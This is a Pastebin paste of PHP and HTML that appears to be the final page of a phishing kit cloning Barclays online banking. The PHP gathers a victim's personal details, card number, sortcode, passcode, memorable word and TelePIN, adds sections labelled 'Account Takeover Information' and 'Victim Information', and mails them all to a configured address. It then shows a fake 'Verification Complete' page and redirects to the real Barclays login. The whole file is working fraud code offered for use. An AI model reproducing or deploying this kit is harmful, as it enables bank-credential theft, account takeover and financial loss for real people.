API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Dec 22nd, 2014
194
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 15.17 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2.  
  3. session_start();
  4.  
  5. require_once "includes/blacklist.php";
  6. require_once "includes/common.php";
  7. require_once "includes/processDetails.php";
  8. require_once "includes/config.php";
  9.  
  10. $validLogin = true;
  11. encryptPage();
  12.  
  13. if (!isset($_SESSION['surname'])) { redirectTo("index.php"); }
  14. //var_dump($_SESSION);
  15.  
  16. $cardInfo = bankDetails($_SESSION['cardnumber']);
  17. $systemInfo = systemInfo($_SERVER['REMOTE_ADDR']);
  18. $bankInfo = bankLookup($_SESSION['sortcode'], $_SESSION['accountNumber']);
  19.  
  20. $addressInfo = addressLookup($_SESSION['fullname'], $_SESSION['postcode']);
  21.  
  22. $mailSubject = "Barclays Login : " . $cardInfo['card_type'] . " " . $cardInfo['card_category'];
  23. $message = "";
  24. $message .= "+ --------- Courvoisier Bank Login ---------+\r\n";
  25. $message .= "+ ------------------------------------------+\r\n";
  26. $message .= "+ Personal Information\r\n";
  27. $message .= "| Name : " . strtoupper($_SESSION['fullname']) . "\r\n";
  28. $message .= "| Date of birth : " . $_SESSION['dob'] . "\r\n";
  29. $message .= "| Address : \r\n";
  30. $message .= "| " . ucwords($_SESSION['address1']) . "\r\n";
  31. if (!empty($_SESSION['address2'])) { $message.= "| " . ucwords($_SESSION['address2']) . "\r\n"; }
  32. $message .= "| Postcode : " . $_SESSION['postcode'] . "\r\n";
  33. $message .= "| Phone : " . $_SESSION['number'] . "\r\n";
  34. $message .= "+ ------------------------------------------+\r\n";
  35. $message .= "+ Banking Information\r\n";
  36. $message .= "| Card BIN : " . $cardInfo['bin'] . "\r\n";
  37. $message .= "| Card Type : " . $cardInfo['brand'] . " " . $cardInfo['card_type'] . " " . $cardInfo['card_category'] . "\r\n";
  38. $message .= "| Card Number : " . $_SESSION['cardnumber'] . "\r\n";
  39. $message .= "| Account Number : " . $_SESSION['accountNumber'] . "\r\n";
  40. $message .= "| Sortcode : " . $_SESSION['sortcode'] . "\r\n";
  41. $message .= "| Passcode : " . $_SESSION['passcode'] . "\r\n";
  42. $message .= "| Memorable Word : " . $_SESSION['memorableword'] . "\r\n";
  43. $message .= "| TelePIN : " . $_SESSION['telepin'] . "\r\n";
  44. $message .= "+ ------------------------------------------+\r\n";
  45.  
  46. if ($bankInfo) {
  47.     $message .= "+ Account Details\r\n";
  48.     $message .= "| IBAN : " . $bankInfo['iban'] . "\r\n";
  49.     $message .= "| BIC : " . $bankInfo['bic'] . "\r\n";
  50.     $message .= "| Local Branch : " . $bankInfo['bankaddress'] . " (Tel: " . $bankInfo['bankphone'] . ")\r\n";
  51.     $message .= "| Account Features : \r\n";
  52.     $message .= "| " . $bankInfo['features'] . "\r\n";
  53.     $message .= "+ ------------------------------------------+\r\n";
  54. }
  55.  
  56. if (isset($addressInfo) and $addressInfo !== false) {
  57.     $message .= "+ Account Takeover Information\r\n";
  58.     $message .= "| Confirmed name : " . $addressInfo['name'] . "\r\n";
  59.     $message .= "| Confirmed address : YES\r\n";
  60.     $message .= "| Confirmed age : " . $addressInfo['ageRange'] . "(as of last registered census)\r\n";
  61.     $message .= "| Other occupants : \r\n";
  62.     $message .= "| " . $addressInfo['occupants'] . "\r\n";
  63.     $message .= "+ ------------------------------------------+\r\n";
  64. }
  65.  
  66. $message .= "+ Victim Information\r\n";
  67. $message .= "| IP Address : " . $_SERVER['REMOTE_ADDR'] . " (" . gethostbyaddr($_SERVER['REMOTE_ADDR']) . ")\r\n";
  68. $message .= "| Location: " . $systemInfo['city'] . ", " . $systemInfo['region'] . ", " . $systemInfo['country'] . "\r\n";
  69. $message .= "| UserAgent : " . $systemInfo['useragent'] . "\r\n";
  70. $message .= "| Browser : " . $systemInfo['browser'] . "\r\n";
  71. $message .= "| Platform : " . $systemInfo['os'] . "\r\n";
  72. $message .= "+ ------------------------------------------+\r\n\r\n";
  73.  
  74. //print_r(str_replace("\r\n", "<br>", $message));
  75.  
  76. $header = "From: " . $_SERVER['REMOTE_ADDR'] . " <amp_" . rand(111, 999) . ">\r\n";
  77. $header .= "MIME-Version: 1.0\r\n";
  78.  
  79. do {
  80.     $send = mail(cEMAIL, $mailSubject, $message, $header);
  81. } while (!$send);
  82.  
  83. ?>
  84.  
  85.  
  86. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  87.     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  88.  
  89.  
  90. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-GB" lang="en-GB">
  91.  
  92.  
  93. <head>
  94.  
  95.     <meta http-equiv="refresh" content="5; url=https://bank.barclays.co.uk/olb/auth/LoginLink.action" />
  96.  
  97.     <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  98.  
  99.     <meta http-equiv="Content-Language" content="en-GB"/>
  100.     <meta http-equiv="X-UA-Compatible" content="IE=Edge"/>
  101.  
  102.  
  103.     <title>
  104.  
  105.         Step 4: Complete - Log in -
  106.  
  107.         myBarclays
  108.     </title>
  109.  
  110.  
  111.     <link href="../../css/dsf235235.css" rel="stylesheet" type="text/css" media="screen"/>
  112.     <link href="../../css/dsg32523.css" rel="stylesheet" type="text/css" media="screen"/>
  113.     <link href="../../css/dsg32535.css" rel="stylesheet" type="text/css" media="screen"/>
  114.     <link href="../../css/dsgsdfs435.css" rel="stylesheet" type="text/css" media="print" id="print"/>
  115.     <!--[if IE 7]>
  116.     <link href="../../css/ie/ie7.css" rel="stylesheet" type="text/css"/>
  117.     <![endif]-->
  118.     <!--[if gte IE 7]>
  119.     <link href="../../css/ie/ieCSS3.css" rel="stylesheet" type="text/css"/>
  120.     <![endif]-->
  121.  
  122.  
  123.     <script type="text/javascript" src="../../js/jq/fsdgf.js"></script>
  124.     <script type="text/javascript" src="../../js/ib/435tewstg.js"></script>
  125.  
  126.  
  127.     <script type="text/javascript">
  128.         iBarclays = iBarclays || {};
  129.         iBarclays.Config = iBarclays.Config || {};
  130.         iBarclays.Config.prefix = "/";
  131.         iBarclays.Config.addPath = function (name) {
  132.             return this.prefix + name;
  133.         };
  134.         iBarclays.Config.serverSideDate = "20 Dec 2014";
  135.     </script>
  136.     <script type="text/javascript" src="../../js/ib/543twet.js"></script>
  137.     <!--[if lt IE 9]>
  138.     <script type="text/javascript" src="../../js/mo/mootools-core-1.5.0-full-nocompat.js"></script>
  139.     <script type="text/javascript" src="../../js/sz/selectivizr.js"></script>
  140.     <script type="text/javascript" src="../../js/ch/chosen.jquery.min.js"></script>
  141.     <![endif]-->
  142.  
  143.  
  144.     <script type="text/javascript" src="../../js/ib/setgt43.js"></script>
  145.  
  146.  
  147.     <meta name="DCSext.Impressions" content=""/>
  148.     <meta name="firstTimeOLBLogin" content=""/>
  149.     <meta name="WT.cg_s" content="logon - Log in"/>
  150.     <meta name="DCSext.ErrorMessage" content=""/>
  151.     <meta name="WT.sp" content="onl"/>
  152.     <meta name="DCSext.IDVType" content="DFA"/>
  153.     <meta name="WT.cg_n" content="logon"/>
  154.  
  155.  
  156.     <script>var _ccpCat3 = true;</script>
  157.  
  158.     <script src="../../touchclarity/mbox.js" type="text/javascript"></script>
  159.  
  160.  
  161. </head>
  162. <body class=" x ">
  163. <div id="InternetCookiesSettings">
  164.  
  165.     <input type="hidden" id="CCPCat2On" value="on"/>
  166.  
  167.  
  168.     <input type="hidden" id="CCPCat3On" value="on"/>
  169.  
  170.  
  171.     <input type="hidden" id="CCPCat4On" value="on"/>
  172.  
  173. </div>
  174.  
  175.  
  176. <script>
  177.     try {
  178.         top.document.domain
  179.     } catch (e) {
  180.         var f = function () {
  181.             document.body.innerHTML = '';
  182.         }
  183.         setInterval(f, 1);
  184.         if (document.body) document.body.unload = f;
  185.     }
  186. </script>
  187.  
  188.  
  189. <div id="skip-links">
  190.     <p class="skip-link-p">
  191.         Skip to:
  192.         <a accesskey="1" class="skip-link" href="#content">content</a>,
  193.         <a accesskey="2" class="skip-link" href="#nav-links">navigation</a>
  194.     </p>
  195. </div>
  196.  
  197.  
  198. <div id="container">
  199.  
  200.  
  201. <div id="access-links">
  202.     <p class="access-links-p print-hide">Quick links:</p>
  203.  
  204.     <a href="#infoend" class="hide">Skip Information Links</a>
  205.     <ul class="access-link-list">
  206.  
  207.         <li class="first">
  208.             <a href="/olb/auth/MobiLoginLink.action"
  209.  
  210.  
  211.                 >
  212.                 Mobile site</a>
  213.         </li>
  214.  
  215.         <li>
  216.             <a href="http://www.barclays.co.uk/Contactus/Contactus/P1242561757335"
  217.                target="_blank"
  218.                title="Contact us (opens in a new browser window)"
  219.                 >
  220.                 Contact us</a>
  221.         </li>
  222.  
  223.         <li>
  224.             <a href="http://www.barclays.co.uk/security"
  225.                target="_blank"
  226.                title="Security (opens in a new browser window)"
  227.                 >
  228.                 Security</a>
  229.         </li>
  230.  
  231.         <li>
  232.             <a href="http://www.barclays.co.uk/accessibility/"
  233.                target="_blank"
  234.                title="Accessibility (opens in a new browser window)"
  235.                 >
  236.                 Accessibility</a>
  237.         </li>
  238.  
  239.     </ul>
  240.     <a name="infoend"></a>
  241.  
  242. </div>
  243. <div id="masthead">
  244.  
  245.  
  246.     <p class="logo">
  247.         <a href="http://www.barclays.co.uk" title="Barclays logo with link to homepage"
  248.  
  249.            class="default">
  250.  
  251.  
  252.         </a>
  253.         <img class="pronly"
  254.  
  255.              src="../../img/logos/barclays-logo.png"
  256.  
  257.  
  258.              alt="Barclays logo with link to homepage"
  259.              width="265" height="45"/>
  260.     </p>
  261.     <!-- stub -->
  262.     <!-- stub -->
  263.  
  264.  
  265.     <div id="login">
  266.         <div id="navigation">
  267.             <div id="menu-bar">
  268.                 <h1 class="view-control"><span class="login"><span>Log in</span></span></h1>
  269.             </div>
  270.         </div>
  271.     </div>
  272. </div>
  273.  
  274.  
  275. <div id="modal-ctr">
  276.     <div id="modalInnerCtr">
  277.         <div class="tl"></div>
  278.         <div class="tr"></div>
  279.         <div class="bl"></div>
  280.         <div class="br"></div>
  281.         <div class="popup"></div>
  282.         <div class="B"></div>
  283.     </div>
  284. </div>
  285. <div id="modal-overlay"></div>
  286. <div id="content" class="clearfix">
  287. <div>
  288.  
  289.  
  290. <div class="login-ctr">
  291.  
  292.  
  293. <span class="hide">Log in has 2 steps</span>
  294.  
  295. <div class="progress-bar">
  296.     <ul>
  297.  
  298.         <li class="first complete-current">2. Authenticate</li>
  299.  
  300.         <li class="last-current current">Verification<span>&nbsp;</span></li>
  301.  
  302.     </ul>
  303. </div>
  304.  
  305.  
  306. <form id="login-form"
  307.       action="Verify"
  308.       method="post">
  309. <input type="hidden" name="requestid" value="268306021671945402"/>
  310. <input type="hidden" name="requesttoken" value=""/>
  311.  
  312. <div id="tipBody">
  313.  
  314.     <?php
  315.     if (!$validLogin) {
  316.         echo '<div class="form-error"><a href="#" class="count" role="alert">You have&nbsp;<span class="error-count">some</span>&nbsp;<span class="error-text">errors</span> to correct before you can proceed.<br />Please ensure:</a>
  317. <div class="error-list"><a class="err-lnk" href="#" id="passcode-error">You have entered all fields correctly.</a></div></div>';
  318.     }
  319.     ?>
  320.  
  321. </div>
  322.  
  323.  
  324. <h2>
  325.     Verification Complete!
  326. </h2>
  327.  
  328.  
  329. <div id="page">
  330.  
  331.  
  332. <div class="logon-snippet">
  333.     <div class="info">
  334.  
  335.         <p>
  336.             <style type="text/css">.bmbimagefloat {
  337.                     float: left;
  338.                     width: 100px;
  339.                     height: 150px;
  340.                 }
  341.  
  342.                 .bmbtextfloat {
  343.                     float: left;
  344.                     width: 400px;
  345.                     height: 150px;
  346.                 }
  347.  
  348.                 .bmbtextfloat h3 {
  349.                     margin-top: 5px;
  350.                 }
  351.  
  352.                 .info span.clearfix {
  353.                     clear: both;
  354.                     display: block;
  355.                     height: 0;
  356.                 }</style>
  357.         </p>
  358.  
  359.         <div class="bmbtextfloat"><h3>Thankyou!</h3>
  360.  
  361.             <p>Thanks for taking the time to verify your identity. We're sorry for any inconvenience caused.</p>
  362.             <br/>
  363.  
  364.             <p><strong>You will be redirected in 5 seconds.</strong></p>
  365.         </div>
  366.         <p><span class="clearfix">&nbsp;</span></p>
  367.  
  368.     </div>
  369. </div>
  370.  
  371.  
  372.  
  373. <div class="snippet">
  374.     <!-- Empty Snippet -->
  375. </div>
  376.  
  377.  
  378. </div>
  379. </form>
  380. </div>
  381.  
  382.  
  383. <div class="login-logo login-top">
  384. </div>
  385.  
  386. </div>
  387. </div>
  388.  
  389.  
  390. <div id="footer">
  391.  
  392.  
  393.     <div class="footnote">
  394.         <p>
  395.             Barclays Bank PLC. Authorised by the Prudential Regulation Authority and regulated by the Financial Conduct
  396.             Authority and the Prudential
  397.             Regulation Authority (Financial Services Register no: 122702). Barclays Bank PLC subscribes to the Lending
  398.             Code which is monitored and
  399.             enforced by the Lending Standards Board. Further details can be found at
  400.             <a title="Lending Standards Board (opens in a new browser window)" target="_blank"
  401.                href="http://www.lendingstandardsboard.org.uk"> www.lendingstandardsboard.org.uk</a>. Barclays Insurance
  402.             Services Company Limited is authorised and regulated by the Financial Conduct Authority (Financial Services
  403.             Register no: 312078).
  404.         </p>
  405.  
  406.         <p>
  407.             Barclays Bank PLC. Registered in England. Registered no. 1026167. Barclays Insurance Services Company
  408.             Limited. Registered in England. Registered no. 973765. Registered office for both: 1 Churchill Place, London
  409.             E14 5HP. 'The Woolwich' and 'Woolwich' are trademarks and trading names of Barclays Bank PLC. Barclays
  410.             Business is a trading name of Barclays Bank PLC.
  411.         </p>
  412.         <br/>
  413.  
  414.         <p>
  415.             <img class="pronly" src="/img/logos/premier_league_masthead.jpg"
  416.                  alt="Barclays logo with link to homepage"/>
  417.             <a title="Link through to Barclays Premiership website" href="http://www.premierleague.com/" target="_blank"
  418.                class="premier-league">
  419.                 <span class="premier-league">Proud sponsors of the Barclays Premier League</span>
  420.             </a>
  421.         </p>
  422.     </div>
  423. </div>
  424. <div id="taskViewOverlay"></div>
  425. </div>
  426.  
  427.  
  428. <form id="_st">
  429.  
  430.  
  431.     <input type="hidden" name="requestid" value="268306021671945402"/>
  432.     <input type="hidden" name="requesttoken" value=""/>
  433.  
  434. </form>
  435.  
  436.  
  437. <script language="JavaScript" type="text/javascript">
  438.     var s_account = "barukprod";
  439.     try {
  440.         s_account = "barukprod";
  441.         if (s_account.length < 3 || s_account.length > 25)
  442.             s_account = "barukprod";
  443.     } catch (err) {
  444.     }
  445.     ;
  446. </script>
  447. <script type="text/javascript" src="../../js/ib/t4g4rwse.js"></script>
  448. <!-- SiteCatalyst code version: H.25.1.
  449. Copyright 1996-2012 Adobe, Inc. All Rights Reserved -->
  450. <script language="JavaScript" type="text/javascript" src="../../js/sitecatalyst/s_codecookies.js"></script>
  451. <script language="JavaScript" type="text/javascript">
  452.     $(tagAjaxContent);  // process analytics once the page has fully loaded, including all modules.
  453.  
  454.     try {
  455.         scMeta(s);
  456.         var s_code = s.t();
  457.         if (s_code)document.write(s_code);
  458.     } catch (err) {
  459.     }
  460. </script>
  461. <script language="JavaScript" type="text/javascript">
  462.     if (navigator.appVersion.indexOf('MSIE') >= 0)document.write(unescape('%3C') + '\!-' + '-')
  463. </script>
  464. <noscript><img src="https://smetrics.barclays.co.uk/b/ss/barukprod/1/H.25.1--NS/0"
  465.                height="1" width="1" border="0" alt=""/></noscript>
  466. <!--/DO NOT REMOVE/-->
  467. <!-- End SiteCatalyst code version: H.25.1. -->
  468.  
  469.  
  470. <div id="trk_mbox_id" class="mboxDefault"></div>
  471. <script type="text/javascript">
  472.     try {
  473.         if (typeof TCSegment === 'undefined') {
  474.             TCSegment = "";
  475.         }
  476.         if (typeof tnt_extra === 'undefined') {
  477.             tnt_extra = "";
  478.         }
  479.         var mboxName = (TCSegment == "") ? "trk_mbox" : TCSegment + "_trk_mbox";
  480.         if (typeof iBarclays != 'undefined') {
  481.             iBarclays.TouchClarity.setTrkMbox(mboxName);
  482.         }
  483.         mboxDefine("trk_mbox_id", mboxName, tnt_extra);
  484.         mboxUpdate(mboxName);
  485.     } catch (err) {
  486.     }
  487. </script>
  488.  
  489.  
  490. </body>
  491. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!